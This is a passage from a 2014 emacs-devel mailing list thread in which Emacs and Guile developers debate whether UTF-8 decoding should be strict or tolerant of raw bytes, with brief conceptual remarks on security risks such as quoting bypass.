It is not clear what "As long as UTF-8 can encode the result" means,
concretely.  Whether Emacs's UTF-8 encoding can encode the raw bytes
is a matter of our decision.  Strictly speaking, UTF-8 can't encode
the raw bytes.

Thus, it seems that asking for confirmation before writing raw bytes
in UTF-8 is consistent with that expectation, and writing the raw
bytes without asking for confirmation is also consistent with that.

I am not trying to play word games with you.  I think you probably had
a more specific point in mind, but you need to present it clearly.

    >     > What exactly did we try before?
    > 
    > and you responded
    > 
    >     AFAIR, we tried converting raw bytes into valid non-ASCII characters,
    >     and perhaps also replacing them with the equivalent of u+FFFD, the
    >     Unicode "replacement character".
    > 
    > But those are both different from the proposal I'm discussing.

    How are they different?

The first of them was to convert the raw bytes into valid non-ASCII characters.
(When?  When reading the file?  When writing the file?)  You have not
described that behavior clearly, but either way it is not the same as
the proposal we are discussing now.  This proposal is to ask for
confirmation before encoding a file with raw bytes.

The second was to "replace" these codes with something else.  (When?
When reading the file?  When writing the file?)  Either way it is not
the same as the proposal we are discussing now.  This proposal does
not replace any characters.

    In any case, I hope you are not expecting to hear about user reactions
    to any of the proposals that haven't been tried yet.

That idea did not come from me.  YOU said they had already reacted to
THIS proposal.

      What I (and I think also David)
    were trying to show is that _similar_ situations were met with user
    complaints and outcry, and that we are where we are today because we
    heeded to those complaints.

There are many ways for two different designs to be "similar".  They
are also different.  The details are crucial for users' reactions.  I
think the people who objected to those behaviors, which involved
changing the file contents, might not mind the confirmation much.


-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>     > They don't HAVE to be treated the same.  We are talking about changes,
>     > here.
>
>     They will be very deep and invasive changes, because currently the
>     encoding/decoding routines don't know the purpose of the stuff they
>     are producing.
>
> No, it's just a matter of setting some parameter to specify a particular
> decision in decoding or encoding behavior.
>
>     > But changes may not be needed.  All operations that do encoding or
>     > decoding allow explicit specification of the coding system.
>
>     Of course, they do.  But the issue at hand is precisely whether it is
>     the application's responsibility to explicitly specify conversions
>     that will be strict wrt invalid byte sequences, or should Emacs do
>     that by default.
>
> Yes.
>
> It will be easy to specify one or the other, so why not make the default
> be strict, except in the primitives that operate on files?

Because we had that already.  It made the users mad, it threw spanners
in the work of the programmers, and there is a large body of software
developed before then and since then that depends on Emacs working
rather than throwing a fit.

When we lost users in large droves to XEmacs at the time Emacs became
the loss leader for multibyte encodings by making MULE manadatory, a
significant number of those users who went were the ones not even using
non-ASCII locales, and they would purportedly not even have noticed a
difference with the files they were supposed to be working with.  But in
practice, files and communications don't pass the purity tests.

When you have a secretary working for you, you are not interested in the
secretary getting each grammatical error in a letter you got sent
circled in red.

When I read a mail from an issue ticketing system that has not
encoded/decoded some mail headers properly along with the rest, I still
want to be able to read what is there _before_ making decisions about
encodings.  Most of the time I don't want to make _any_ decision and
just go ahead with what I got.  And frankly: if Emacs refuses to show me
what it got before I make a decision, I have no _base_ for making a
decision in the first place.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Fri, 10 Oct 2014 21:15:26 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     > They don't HAVE to be treated the same.  We are talking about changes,
>     > here.
> 
>     They will be very deep and invasive changes, because currently the
>     encoding/decoding routines don't know the purpose of the stuff they
>     are producing.
> 
> No, it's just a matter of setting some parameter to specify a particular
> decision in decoding or encoding behavior.

Specify, and then drag it all the way down the encoding/decoding
machinery.

>     > But changes may not be needed.  All operations that do encoding or
>     > decoding allow explicit specification of the coding system.
> 
>     Of course, they do.  But the issue at hand is precisely whether it is
>     the application's responsibility to explicitly specify conversions
>     that will be strict wrt invalid byte sequences, or should Emacs do
>     that by default.
> 
> Yes.
> 
> It will be easy to specify one or the other, so why not make the default
> be strict, except in the primitives that operate on files?

Because I believe this will annoy users and cause a lot of
complaining.

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> There are many ways for two different designs to be "similar".  They
> are also different.  The details are crucial for users' reactions.  I
> think the people who objected to those behaviors, which involved
> changing the file contents, might not mind the confirmation much.

That kind of choice would require the assumption that any file operation
(and any other encoding/decoding action) is an immediate, direct, and
obvious consequence of a user interaction with Emacs.

That is not the case, and it has never been.  And even where it is the
case, there is nothing to be gained by letting Emacs refuse viewing
files.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Fri, 10 Oct 2014 21:17:15 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     Originally, Emacs would complain that Latin-1 cannot be used, and
>     asked the user to select a different encoding.
> 
> That is about Latin-1.  What did Emacs do, at that time, with UTF-8?

The situation I described is with text encodable by UTF-8, but not by
Latin-1.  So it has no analogue when UTF-8 is used to begin with.

> 						    Then users of UTF-8
>     locales complained that these prompts were annoyances, that they
>     expect Emacs to use UTF-8 silently, without any questions, as long as
>     UTF-8 can encode the result.
> 
> It is not clear what "As long as UTF-8 can encode the result" means,
> concretely.  Whether Emacs's UTF-8 encoding can encode the raw bytes
> is a matter of our decision.  Strictly speaking, UTF-8 can't encode
> the raw bytes.

I wasn't talking about raw bytes, I was talking about characters
outside of Latin-1 charset, like Cyrillic or Polish.

>     >     > What exactly did we try before?
>     > 
>     > and you responded
>     > 
>     >     AFAIR, we tried converting raw bytes into valid non-ASCII characters,
>     >     and perhaps also replacing them with the equivalent of u+FFFD, the
>     >     Unicode "replacement character".
>     > 
>     > But those are both different from the proposal I'm discussing.
> 
>     How are they different?
> 
> The first of them was to convert the raw bytes into valid non-ASCII characters.
> (When?  When reading the file?  When writing the file?)  You have not
> described that behavior clearly, but either way it is not the same as
> the proposal we are discussing now.  This proposal is to ask for
> confirmation before encoding a file with raw bytes.

Our experience with such prompts is that they are perceived as
annoyances, no matter whether they happen at read or at write time.

> The second was to "replace" these codes with something else.  (When?
> When reading the file?  When writing the file?)  Either way it is not
> the same as the proposal we are discussing now.  This proposal does
> not replace any characters.

What will Emacs do, under this proposal, if the user is asked whether
to keep the original raw bytes and answers NO?  I thought Emacs will
replace those invalid sequences with something, therefore I reminded
what happened last time we tried something similar.

Moreover, I think at least some of the suggestions in this thread,
perhaps not from you, were not to ask any questions at all, and
"handle" these invalid sequences automatically when Emacs reads the
text from its source, whatever that is.  Under that suggestion, the
only reasonable behavior is to replace the invalid sequences with
special valid characters, such as u+FFFD, which resembles what we
tried doing in the past.

>     In any case, I hope you are not expecting to hear about user reactions
>     to any of the proposals that haven't been tried yet.
> 
> That idea did not come from me.  YOU said they had already reacted to
> THIS proposal.

Then my imperfect wording caused your misunderstanding, for which I'm
sorry.

>       What I (and I think also David)
>     were trying to show is that _similar_ situations were met with user
>     complaints and outcry, and that we are where we are today because we
>     heeded to those complaints.
> 
> There are many ways for two different designs to be "similar".  They
> are also different.  The details are crucial for users' reactions.  I
> think the people who objected to those behaviors, which involved
> changing the file contents, might not mind the confirmation much.

Well, this is where we disagree, and as I mentioned, such
disagreements cannot be reconciled when our degrees of reliance on
past experience in similar situations is different.

Re: Emacs Lisp's future

[Florian Weimer]

* Mark H. Weaver:

> To give an example, consider a procedure that needs to pass a string
> from an untrusted source to an SQL query.  To do this safely, it needs
> to quote the string.  I haven't researched how to properly quote SQL
> string literals, but in general, quoting is typically done by
> recognizing some set of special characters that must be escaped, and
> allowing all other characters through unmodified.

For are truly robust solution, you need parameterized queries.  Most
database servers support other encodings besides UTF-8, and the
required quoting logic can be quite complicated.

> However, "raw byte" code points can be used to bypass such a quoting
> mechanism, and thus send an unescaped closing quote to the SQL database
> followed by arbitrary SQL commands.

This can happen with certain multi-byte character sets as well.

> UTF-8 decoders are supposed to detect and reject these "overlong"
> encodings, but it is likely that many programs fail to do this.

That's not very common anymore.

> To cope with this, the Unicode standards require that UTF-8 codecs
> reject overlong encodings and other invalid byte sequences.  This is in
> direct conflict with the idea of "raw byte" code points, whose purpose
> is to be tolerant of arbitrary byte sequences and to propagate them
> unchanged.

The charset conversion functionality could support binary-transparent
UTF-8 and pure UTF-8 at output boundaries.  This way, the application
can make a choice.

Re: Emacs Lisp's future

[Florian Weimer]

* Mark H. Weaver:

> David Kastrup <dak@gnu.org> writes:
>> You cannot successfully cater for clueless application programmers.
>
> It is not "clueless" to expect a UTF-8 encoder to produce valid UTF-8.

It doesn't work all that well in practice on systems (like GNU) which
are not predominantly Unicode-based.  Dealing gracefully with invalid
UTF-8 sometimes means producing invalid UTF-8.

For example, a backup program needs to be able to save and restore
files whose name is not encoded in UTF-8.

Re: Emacs Lisp's future

[Mark H Weaver]

Eli Zaretskii <eliz@gnu.org> writes:

>> Date: Fri, 10 Oct 2014 21:15:26 -0400
>> From: Richard Stallman <rms@gnu.org>
>> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
>> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
>> 	stephen@xemacs.org
>> 
>>     > They don't HAVE to be treated the same.  We are talking about changes,
>>     > here.
>> 
>>     They will be very deep and invasive changes, because currently the
>>     encoding/decoding routines don't know the purpose of the stuff they
>>     are producing.
>> 
>> No, it's just a matter of setting some parameter to specify a particular
>> decision in decoding or encoding behavior.
>
> Specify, and then drag it all the way down the encoding/decoding
> machinery.

The strictness flag should conceptually be part of the encoding, and
thus associated with the I/O port.  This would obviate the need to
propagate it down through layers of code.

       Mark

Re: Emacs Lisp's future

[Stephen J. Turnbull]

Mark H Weaver writes:
 > Eli Zaretskii <eliz@gnu.org> writes:

 > > Specify, and then drag it all the way down the encoding/decoding
 > > machinery.
 > 
 > The strictness flag should conceptually be part of the encoding, and
 > thus associated with the I/O port.

This is the way Emacs works already.

However, I think the Python system, where strictness is part of the
I/O port, not the encoding, and the encodings are designed to error
and then hand the invalid raw bytes to the error handler if desired,
is a better API.  I don't know how easy it would be to provide this in
Emacs (XEmacs streams are quite different from Emacs'), but it's
probably not too hard since the rawbytes facility is already present.
It would be nice to extend that to EOL handling as well IMO, but
that's not as big an issue.

 > This would obviate the need to propagate it down through layers of
 > code.

It's not so easy, because the layers of code referred to are not the
encoding/decoding machinery in the sense of the coding system (ISTR
you use "codec", Emacs calls them "coding systems" to be more like ISO
2022 "coding extensions" IIRC).  It's the mechanism for determining
exactly which coding system is to be used, and the difficulties are
really in the area of UI more so than in API.

In Emacs Lisp there's a tradition of embedding parameters which are
normally specified as constants in the name.  (This issue has already
been referred to in different terms.)  So instead of

    ;; these IO functions are all imaginary
    (let ((s (open-file "foo")))
      (set-stream-coding-system s 'utf-8)
      (set-stream-eol s 'unix)                ; EOL is LF
      (set-stream-invalid-coding-handler s 'strict)
      ;; now we can do I/O, signaling errors on invalid coding
      (read-stream-into-buffer s))
    ;; and now we're ready to edit, assuming valid coding!

Emacs does

    (find-file "foo" 'utf-8-unix-strict)  ; or is it utf-8-strict-unix? arghh!

Things are further complicated by the fact that Emacs has an extremely
complex system for specifying the encoding and the newline convention
used, and either or both might be automatically detected.  All of the
parameters can be tweaked at any stage in the specification routines,
and there are about 5 levels of configurability for files
(configuration is done by setting or binding dynamic variables) and
more than one for network and process streams (which are different).
Adding specification of the error handling convention will make the
*user interface* yet more complicated -- and it has to be possible for
all this to be done separately for every stream (you might trust files
on your host but not the network).  And then there's the "auto" coding
system, which guesses the appropriate coding system by analyzing the
input.

I have always thought that the Emacs' developers emphasis on having
Emacs "DWIM" so much in this area is somewhat misplaced[1], but that is
the way things are and have been since the late 1980s (Emacs actually
installed these features in 1998 or so, but there were patches that
were universally used for Asian languages from the late 1980s), and
there will be a lot of resistence from users and developers to any
changes that require them to do things differently.


Footnotes: 
[1]  Historically, these features were developed by Japanese
developers, who have to deal with an insane environment where even
today you will encounter at least 5 major encodings on a daily basis
(cheating a little, since UTF-16 is usually visible only inside MSFT
file formats and in Java programming), and most of those have
innumerable private variants (most large corporations in Japan have
private sets of Chinese characters that are in Unicode but were
historically not in the Japanese national standards).  It's easy to
see why Japanese would want a good guessing facility!  Most of the
rest of us either don't have to deal with it (95% of what we see is in
one particular encoding), or have an extremely difficult problem in
distinguishing the ones common in our environment (is this Latin-1 or
Latin-9? vs. the Japanese case where the bit patterns of the major
encodings are very distinctive).

This is not to say that guessing is a bad idea where it can be done
accurately, just that the Emacs facilities are way too complex for the
benefit they provide over a much simpler system.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > It will be easy to specify one or the other, so why not make the default
    > be strict, except in the primitives that operate on files?

    Because we had that already.

What exactly did we have already?
Are we talking about the same thing?

    When we lost users in large droves to XEmacs at the time Emacs became
    the loss leader for multibyte encodings by making MULE manadatory, a
    significant number of those users who went were the ones not even using
    non-ASCII locales, and they would purportedly not even have noticed a
    difference with the files they were supposed to be working with.  But in
    practice, files and communications don't pass the purity tests.

I'm talking about the default for encodings that are NOT done for
reading and writing files.  You seem to be talking about files.

    > There are many ways for two different designs to be "similar".  They
    > are also different.  The details are crucial for users' reactions.  I
    > think the people who objected to those behaviors, which involved
    > changing the file contents, might not mind the confirmation much.

    That kind of choice would require the assumption that any file operation
    (and any other encoding/decoding action) is an immediate, direct, and
    obvious consequence of a user interaction with Emacs.

I don't quite follow you.  Could you present a concrete example to show
what you mean?

However, I think I follow part of it.  If a program does explicit
encoding and decoding operations but does them as part of showing text
to the user, it should specify doing them in the same flexible way
used by the usual file operations.

For instance, decoding an email to show to the user should be done the
flexible way.

It won't be hard to change these programs to specify "flexible" for
the decoding if that is not the default for the encoding primitives.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    >     Originally, Emacs would complain that Latin-1 cannot be used, and
    >     asked the user to select a different encoding.
    > 
    > That is about Latin-1.  What did Emacs do, at that time, with UTF-8?

    The situation I described is with text encodable by UTF-8, but not by
    Latin-1.  So it has no analogue when UTF-8 is used to begin with.

It looks like that past case isn't directly pertinent to this issue,
then.

    What will Emacs do, under this proposal, if the user is asked whether
    to keep the original raw bytes and answers NO?

Abort the operation, I suppose.

    Our experience with such prompts is that they are perceived as
    annoyances, no matter whether they happen at read or at write time.

Maybe so, but how big of an annoyance depends on how often it happens.

Those who are arguing for doing something to avoid propagating raw
bytes might want to implement an optional feature for asking for
confirmation before saving UTF-8 with raw bytes.  Then people could
try enabling that feature and we would see how often we get asked to
confirm.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    > No, it's just a matter of setting some parameter to specify a particular
    > decision in decoding or encoding behavior.

    Specify, and then drag it all the way down the encoding/decoding
    machinery.

Could you be more concrete about the problem you are talking about here?

    > It will be easy to specify one or the other, so why not make the default
    > be strict, except in the primitives that operate on files?

    Because I believe this will annoy users and cause a lot of
    complaining.

Would you please describe a concrete scenario in which this might
annoy users?

Assume that any operation which decodes text _for a user to see_
will specify flexible decoding.


-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

    The protocols rarely specify encoding, AFAIK.  If they do, we do use
    them, e.g., when decoding an email message that specifies its MIME
    charset.  But that comes _after_ we already have read the mail into a
    buffer in its raw undecoded form.

There is no problem in that case.  You read it with raw-text,
you determine which encoding to decode, then you decode that one.

What is an example of a protocol that doesn't specify an encoding?  We
need to look at some real cases to see what is the right way to handle
them.

When we look at enough cases to see a pattern, then we could come up
with a general rule.x

    And, of course, when you invoke a program locally, there's usually no
    protocol at all involved.

Likewise, we need to look at some real cases.  You can invoke any
program with M-!; I think in that case heuristic decoding is what
users want.  When functions run call-process on specific, what
decoding is really right?

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[David Kastrup]

Richard Stallman <rms@gnu.org> writes:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
>     >     Originally, Emacs would complain that Latin-1 cannot be used, and
>     >     asked the user to select a different encoding.
>     > 
>     > That is about Latin-1.  What did Emacs do, at that time, with UTF-8?
>
>     The situation I described is with text encodable by UTF-8, but not by
>     Latin-1.  So it has no analogue when UTF-8 is used to begin with.
>
> It looks like that past case isn't directly pertinent to this issue,
> then.
>
>     What will Emacs do, under this proposal, if the user is asked whether
>     to keep the original raw bytes and answers NO?
>
> Abort the operation, I suppose.

It's going to be a wagonload of fun if I do

emacsclient `git grep -l some-pattern`

in order to edit 30 files and Emacs decides to abort and/or ask each
time a comment contains a stray latin-1 character.

>     Our experience with such prompts is that they are perceived as
>     annoyances, no matter whether they happen at read or at write time.
>
> Maybe so, but how big of an annoyance depends on how often it happens.

The main point is that annoyance does not serve a purpose.  It's like a
secretary who refuses to file letters with spelling errors in them.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Mark H Weaver <mhw@netris.org>
> Cc: rms@gnu.org,  dak@gnu.org,  dmantipov@yandex.ru,  emacs-devel@gnu.org,  handa@gnu.org,  monnier@iro.umontreal.ca,  stephen@xemacs.org
> Date: Sat, 11 Oct 2014 19:51:45 -0400
> 
> Eli Zaretskii <eliz@gnu.org> writes:
> 
> >> No, it's just a matter of setting some parameter to specify a particular
> >> decision in decoding or encoding behavior.
> >
> > Specify, and then drag it all the way down the encoding/decoding
> > machinery.
> 
> The strictness flag should conceptually be part of the encoding, and
> thus associated with the I/O port.  This would obviate the need to
> propagate it down through layers of code.

We are talking about 2 different meanings of "propagate".  I was
talking about the need for the code at all levels to know about this
bit and "handle" it, like we do now with the different kinds of
"source" and "destination" of the encoding/decoding process.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Sat, 11 Oct 2014 23:22:59 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     >     Originally, Emacs would complain that Latin-1 cannot be used, and
>     >     asked the user to select a different encoding.
>     > 
>     > That is about Latin-1.  What did Emacs do, at that time, with UTF-8?
> 
>     The situation I described is with text encodable by UTF-8, but not by
>     Latin-1.  So it has no analogue when UTF-8 is used to begin with.
> 
> It looks like that past case isn't directly pertinent to this issue,
> then.

I think it _is_ pertinent, because it demonstrates how intolerable
Emacs users are to prompts that appear where by their (users')
standards Emacs should simply silently DTRT (for some definition of
"Right").

>     What will Emacs do, under this proposal, if the user is asked whether
>     to keep the original raw bytes and answers NO?
> 
> Abort the operation, I suppose.

Good luck selling this to our users.

>     Our experience with such prompts is that they are perceived as
>     annoyances, no matter whether they happen at read or at write time.
> 
> Maybe so, but how big of an annoyance depends on how often it happens.

Our experience is that it happens "too often".

> Those who are arguing for doing something to avoid propagating raw
> bytes might want to implement an optional feature for asking for
> confirmation before saving UTF-8 with raw bytes.  Then people could
> try enabling that feature and we would see how often we get asked to
> confirm.

Fine by me.

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Sat, 11 Oct 2014 23:24:03 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mhw@netris.org, dmantipov@yandex.ru,
> 	emacs-devel@gnu.org, handa@gnu.org, monnier@iro.umontreal.ca,
> 	stephen@xemacs.org
> 
>     > No, it's just a matter of setting some parameter to specify a particular
>     > decision in decoding or encoding behavior.
> 
>     Specify, and then drag it all the way down the encoding/decoding
>     machinery.
> 
> Could you be more concrete about the problem you are talking about here?

The need to know about the semantics of this parameter all the way
through the multi-layered hierarchy of our encoding/decoding
implementation.

>     > It will be easy to specify one or the other, so why not make the default
>     > be strict, except in the primitives that operate on files?
> 
>     Because I believe this will annoy users and cause a lot of
>     complaining.
> 
> Would you please describe a concrete scenario in which this might
> annoy users?

I already did, at least twice.  I have no more scenarios to
contribute, sorry.

> Assume that any operation which decodes text _for a user to see_
> will specify flexible decoding.

That means almost all of them, more-or-less.  So it goes against what
AFAIU Mark had in mind with "struct UTF-8".

Re: Emacs Lisp's future

[Eli Zaretskii]

> Date: Sat, 11 Oct 2014 23:24:30 -0400
> From: Richard Stallman <rms@gnu.org>
> CC: dak@gnu.org, mikegerwitz@gnu.org, mhw@netris.org,
> 	dmantipov@yandex.ru, emacs-devel@gnu.org, handa@gnu.org,
> 	monnier@iro.umontreal.ca, stephen@xemacs.org
> 
> What is an example of a protocol that doesn't specify an encoding?

I'm not an expert, so I actually have trouble coming up with protocols
that _do_ specify an encoding.  Maybe someone else could help out.

>     And, of course, when you invoke a program locally, there's usually no
>     protocol at all involved.
> 
> Likewise, we need to look at some real cases.

Not sure what you mean by that.  M-! and M-| is what I had in mind.

> You can invoke any program with M-!; I think in that case heuristic
> decoding is what users want.

But that's about 99.99% of the uses.  So perhaps we are in violent
agreement after all.

> When functions run call-process on specific, what decoding is really
> right?

I don't think there's a way to know that, except in a very few
specific cases (like speller, for example).  We currently use an
encoding derived from the user locale, but that's a heuristics that
has known limitations and known use cases where it simply fails (but
no better guess is available).

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Mark H Weaver writes:
>  > Eli Zaretskii <eliz@gnu.org> writes:
>
>  > > Specify, and then drag it all the way down the encoding/decoding
>  > > machinery.
>  > 
>  > The strictness flag should conceptually be part of the encoding, and
>  > thus associated with the I/O port.
>
> This is the way Emacs works already.
>
> However, I think the Python system, where strictness is part of the
> I/O port, not the encoding, and the encodings are designed to error
> and then hand the invalid raw bytes to the error handler if desired,
> is a better API.  I don't know how easy it would be to provide this in
> Emacs

Emacs uses CCL programs for encoding/decoding.  It would be a
performance disaster for loading files with binary parts (like
PostScript) to break out of the CCL program for every "invalid raw
byte".

I cannot believe this, really.  We _fought_ all the Emacs 20 encoding
wars decades ago.  It looks like a bunch of armchair strategists trying
to reinvent the wheel but these are actually people fundamentally
involved with the original efforts.  Which makes this doubly as
baffling.

Richard was _part_ of the Emacs 20 efforts and basically the one who
forced the MULE issue, and Stephen was on the XEmacs side which now has
ailed in popularity not least of all because Emacs tends to work better
in practice _now_ regarding the current prevalence of multibyte codings
in spite of XEmacs being earlier in aligning itself internally with
utf-8 (If memory serves me right).

I can understand GUILE developers being unaware of the experience we
gained through all those years.  But I am baffled at those who _led_ the
respective efforts wanting to repeat history, persuaded that everything
will be different next time round.  Actually not even that: it would
appear that our history and experience are not just treated as
irrelevant but rather as non-existent.

This thread is called "Emacs Lisp's future", but we seem determined to
plan this future starting in 1994 rather than 2014.

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > Richard was _part_ of the Emacs 20 efforts and basically the one
 > who forced the MULE issue, and Stephen was on the XEmacs side which
 > now has ailed in popularity not least of all because Emacs tends to
 > work better in practice _now_ regarding the current prevalence of
 > multibyte codings in

FWIW I don't recall it being a big deal, except for the noise you
personally made about rawbytes support for AUCTeX (and correctly so,
although we were unable to anything about it as quickly as we would
have liked).

 > spite of XEmacs being earlier in aligning itself internally with
 > utf-8 (If memory serves me right).

XEmacs introduced Mule earlier, and was the development platform for
"UTF-2000" and later "Chise" XEmacs which did use UTF-8 internally,
but according to Ben who was doing most of the work at that time, that
code was unmaintainable and not adaptable for Windows so was not
adopted in the mainline.  XEmacs still uses Mule code internally.  (It
doesn't really matter except for convenience in the increasingly
important case of Unicode being the external encoding, and potentially
for access to externally developed software such as the UCD and ICU,
or even PEP 393.  The most important convenience is in design: Unicode
has already dealt with most of the interesting issues in character
sets.)

 > I can understand GUILE developers being unaware of the experience
 > we gained through all those years.  But I am baffled at those who
 > _led_ the respective efforts wanting to repeat history,

It's not a question of repeating history.  History cannot be repeated,
because Unicode has won.  Mule is a niche feature, of rapidly
decreasing importance.

And history can't be repeated for another reason.  Guile has no
history of incorporating Mule features, or even Mule-enabling
features.  The question is whether Guile should adopt features
designed in the 1990s for the 1990s environment (in *Japan*, the most
snafued charset environment imaginable, I'll remind you) in order to
better support Emacs, or whether Emacs should port existing support to
Guile.

The competition is severe, and there are many very strong alternatives
for the use cases Guile would like to serve: Java, Python, Perl, and
Ruby, and you can add PHP for web applications.  Guile can't afford to
acquire the kind of reputation that PHP had for carelessness in
security matters.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> The competition is severe, and there are many very strong alternatives
> for the use cases Guile would like to serve: Java, Python, Perl, and
> Ruby, and you can add PHP for web applications.  Guile can't afford to
> acquire the kind of reputation that PHP had for carelessness in
> security matters.

I don't buy the claims that the ability to faithfully represent
arbitrary input in a consistent and reprodusible manner fully supported
by all internal operations and kept unconfusable with other characters
equals "carelessness in security".

In fact, not being able to even _look_ at such material or have a
representation for it seems like a much more severe shortcoming.

Now you claim that you want such support but only if very explicitly
requested, making it a second-class citizen.

This set of priorities has left XEmacs without a round-trippable UTF-8
representation even to date.  I've also already given an example of
GUILE code that is unable to losslessly pass a string through a string
port (the standard mechanism for _accumulating_ a string).  Again, this
is an outcome of the "let's cater primarily for good encodings"
philosophy that is at the bottom of _many_ security problems.  And of
course a perfect vector for denial of service attacks.

An engine that is not able without extra measures to reproduce its input
is not going to win friends.  And it's not like this is an actual
security feature.

What's next?  Text processors that cut off lines after column 80 as a
security feature?  Because people might not see those characters, it is
safer to remove them?

-- 
David Kastrup

Re: Emacs Lisp's future

[Stephen J. Turnbull]

David Kastrup writes:

 > I don't buy the claims that the ability to faithfully represent
 > arbitrary input in a consistent and reprodusible manner fully supported
 > by all internal operations and kept unconfusable with other characters
 > equals "carelessness in security".

Good for you!  I wouldn't either -- if any such claim had ever been made.

 > Now you claim that you want such support but only if very explicitly
 > requested,

Yes, that is my own preference.  I could easily be wrong for the
general user, as I've been rolling handlers for broken encoding usage
for 25 years.  However, I've also seen the damage that can be done
when a component of a system makes a virtue of transmitting everything
verbatim, and believe it's best to start secure.

 > making it a second-class citizen.

Non-default is *not* second-class.  And if warranted, defaults can be
changed.  I just prefer starting with safe defaults.  Although you
personally may suffer due to the applications you work on, I suspect
you will be surprised at the lack of outcry if you change the default
judiciously, case by case.

 > I've also already given an example of GUILE code that is unable to
 > losslessly pass a string through a string port (the standard
 > mechanism for _accumulating_ a string).

Presumably improving that situation is precisely why Mark is here.

 > Again, this is an outcome of the "let's cater primarily for good
 > encodings" philosophy that is at the bottom of _many_ security
 > problems.

Sigh.  It is *Emacs* that assumes the world is full of valid data, and
happily shovels any hazmat it receives on to the next user or program
without validation.  And you're right, it *is* a security problem.
Not just denial of service, either.  You say that behavior is what
Emacs users want, and maybe it is.  Because most of the time the data
is "nearly" valid and the defects are "insignificant", and hardly a
security problem.  It's the "worse is better" philosophy.[1]

But the rest of the software development world is going in the
opposite direction.  "In God we trust.  All others, present photo ID."
Maybe they have figured something out?  Heck, even Emacs is moving in
the direction of defending *itself* from invalid data in other ways
(thank you, Ted Z!)

Footnotes: 
[1]  Read Gabriel's essay of that title before taking that as an insult.

Re: Emacs Lisp's future

[David Kastrup]

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Sigh.  It is *Emacs* that assumes the world is full of valid data,

Nonsense.  It would not need to _carefully_ _deal_ with data not fitting
an encoding if it assumed that.

It _carefully_ decodes non-representable data into a code page reserved
for non-representable data.  It will deal _properly_ with that data
while it is under control of its strings (not upper/lowercasing it or
mixing it up with other stuff) and will carefully repackage it when
encoding it.

As a consequence, it is easy to apply _any_ strategy to your data.  If
you want to clean out characters that are invalid for your application,
any respective positive or negative character and coding ranges in a
regexp pattern will carefully deal with it.

> and happily shovels any hazmat it receives on to the next user or
> program without validation.

Emacs has no way to know what input is valid for the next user or
program.  An application programmed in Elisp may know, and it has _all_
the tools to deal _gracefully_ with it since Emacs' string processing
will _not_ get confused by data it decoded itself and will preserve all
information.

> And you're right, it *is* a security problem.  Not just denial of
> service, either.  You say that behavior is what Emacs users want, and
> maybe it is.  Because most of the time the data is "nearly" valid and
